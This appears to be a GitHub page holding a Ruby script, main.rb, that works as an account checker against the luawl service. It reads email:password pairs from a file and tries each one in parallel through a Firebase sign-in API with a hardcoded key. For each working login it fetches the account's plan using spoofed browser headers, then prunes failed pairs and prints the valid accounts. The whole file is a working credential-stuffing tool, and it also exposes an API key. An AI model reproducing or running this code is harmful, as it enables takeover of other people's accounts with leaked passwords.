-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.rb
More file actions
87 lines (70 loc) · 1.97 KB
/
main.rb
File metadata and controls
87 lines (70 loc) · 1.97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
require 'concurrent'
require 'http'
require 'json'
API_KEY = "AIzaSyCio3wiwvwX1bkk5lSNXMnT6maKMPkfgrQ"
# Cache to store the results of HTTP requests
@cache = {}
def get_token(uemail, upass, key)
# Check the cache first
cache_key = uemail + '-' + upass
if @cache.key?(cache_key)
return @cache[cache_key]
end
# Make an HTTP request
uri = URI("https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=" + key)
response = HTTP.post(uri, json: {
returnSecureToken: true,
email: uemail,
password: upass,
})
json = JSON.parse(response.body)
token = json["idToken"]
# Update the cache
@cache[cache_key] = token
token
end
def get_plan(token)
# Check the cache first
if @cache.key?(token)
return @cache[token]
end
# Make an HTTP request
uri = URI("https://api2.luawl.com/validateLoginFB.php")
response = HTTP.post(uri, headers: {
"Authorization" => "Bearer " + token,
"Origin" => "https://dashboard.luawl.com",
"Sec-Fetch-Site" => "same-site",
"Sec-Fetch-Mode" => "cors",
"Sec-Fetch-Dest" => "empty",
"Host" => "api2.luawl.com",
"Content-Type" => "application/json",
"Referer" => "https://dashboard.luawl.com/",
})
json = JSON.parse(response.body)
plan = json["data"][0]["plan_name"]
# Update the cache
@cache[token] = plan
plan
end
def get_tokens_from_file(file, key)
# Read the entire file into memory
lines = File.readlines(file)
# Make HTTP requests in parallel
results = Concurrent::Promise.zip(*lines.map do |line|
Concurrent::Promise.execute do
email, pass = line.split(":")
token = get_token(email, pass, key)
if token.nil?
lines.reject! { |l| l.include?(line) }
else
plan = get_plan(token)
"\e[32m" + line + "\e[0m" + " - " + plan
end
end
end).value
# Write the updated lines to the file
File.write(file, lines.join)
# Print the results
puts results.compact
end
get_tokens_from_file("pass.txt", API_KEY)